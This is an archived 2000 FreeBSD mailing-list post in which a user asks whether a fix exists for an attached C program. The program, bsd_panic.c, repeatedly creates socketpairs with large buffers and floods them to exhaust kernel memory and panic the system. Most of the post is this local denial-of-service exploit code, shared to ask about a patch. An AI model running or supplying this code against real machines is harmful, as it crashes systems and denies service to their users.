From owner-freebsd-questions Mon Jun 5 17:28:13 2000 Delivered-To: freebsd-questions@freebsd.org Received: from vicosa.dpi.ufv.br (vicosa.dpi.ufv.br [200.17.74.1]) by hub.freebsd.org (Postfix) with ESMTP id 8F2B937BEB3 for ; Mon, 5 Jun 2000 17:28:06 -0700 (PDT) (envelope-from kernel@tdnet.com.br) Received: from tdnet.com.br (port59.tdnet.com.br [200.236.148.159]) by vicosa.dpi.ufv.br (AIX4.2/UCB 8.7/8.7) with ESMTP id VAA10534 for ; Mon, 5 Jun 2000 21:27:23 -0200 (GRNLNDDT) Message-ID: <393C461D.DCA642C3@tdnet.com.br> Date: Mon, 05 Jun 2000 21:30:21 -0300 From: Gustavo Vieira Goncalves Coelho Rios Reply-To: grios@consultant.com X-Mailer: Mozilla 4.72 [en] (X11; I; FreeBSD 4.0-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: questions@freebsd.org Subject: is there a bugfix for the following attach ? Content-Type: multipart/mixed; boundary="------------9B5C5252AE334355DB74927E" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------9B5C5252AE334355DB74927E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Is not mine! I cat-and-paste from a BR site: www.securenet.com.br! -- Your mouse has moved. Windows NT must be restarted for the change to take effect! Reboot now? [ OK] --------------9B5C5252AE334355DB74927E Content-Type: text/plain; charset=us-ascii; name="bsd_panic.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="bsd_panic.c" #include #include #include #define BUFFERSIZE 204800 extern int main(void) { int p[2], i; char crap[BUFFERSIZE]; while (1) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1) break; i = BUFFERSIZE; setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int)); setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int)); fcntl(p[0], F_SETFL, O_NONBLOCK); fcntl(p[1], F_SETFL, O_NONBLOCK); write(p[0], crap, BUFFERSIZE); write(p[1], crap, BUFFERSIZE); } exit(0); } --------------9B5C5252AE334355DB74927E-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message